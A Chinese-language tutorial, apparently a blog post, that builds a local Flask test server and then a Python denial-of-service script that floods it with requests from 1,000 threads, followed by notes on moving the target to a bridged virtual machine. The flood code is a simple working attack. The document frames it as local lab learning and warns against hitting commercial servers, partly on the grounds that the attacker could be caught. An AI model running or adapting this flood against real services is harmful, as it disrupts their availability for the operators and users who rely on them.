前言
这个是DOS攻击学习(注意:千万别去攻击有商业价值的服务器或应用,不然会死的很惨(只有一个IP通过公网访问容易被抓),前提是网站没有攻击防御)
创建一个以python编写的后端web服务(好观察)
安装
flask
pip install flask
from flask import Flaskapp = Flask(__name__)@app.route("/")
def index():return 'hello world'if __name__ == '__main__':app.run(debug=True)
python编写DOS攻击服务
pip install requests
import requests
from requests.exceptions import RequestException
import threadingdef requestGetOne():try:response = requests.get('http://127.0.0.1:5000', timeout=5)response.raise_for_status() # 检查响应状态码print(response.text)except RequestException as e:print(f'请求出错: {e}')def print_numbers():for i in range(1000):requestGetOne()if __name__ == "__main__":threads = []for i in range(1000): # 创建1000个线程thread = threading.Thread(target=print_numbers)threads.append(thread)thread.start()# 等待所有线程结束for thread in threads:thread.join()print("All threads have finished.")
访问稍微会变慢(因为是本机的访问基本没构成TCP连接访问服务+电脑会变卡,CPU占有率是100%)
这只是在本地端进行的DOS,若是有应用程序在VMWare虚拟机上
- 需要开启
桥接模式
和物理网络连接状态
这样你的ifconfig
才会是
eth0
才会有固定IP - 我们要在本地计算机ping一下这个IP地址(本机&虚拟机–在同一个网关下)
#ping ip
ping 172.23.233.164
说明俩者之间有连接
3. 在不同IP中需要进行访问那必然要经历跨域访问(前后端分离也是如此),一般在后端进行跨域访问,但为了学习的方便我们都会让它所有都能访问,后端web就要改成
from flask import Flaskapp = Flask(__name__)@app.route("/")
def index():return 'hello world'if __name__ == '__main__':app.run('0.0.0.0',port=5000)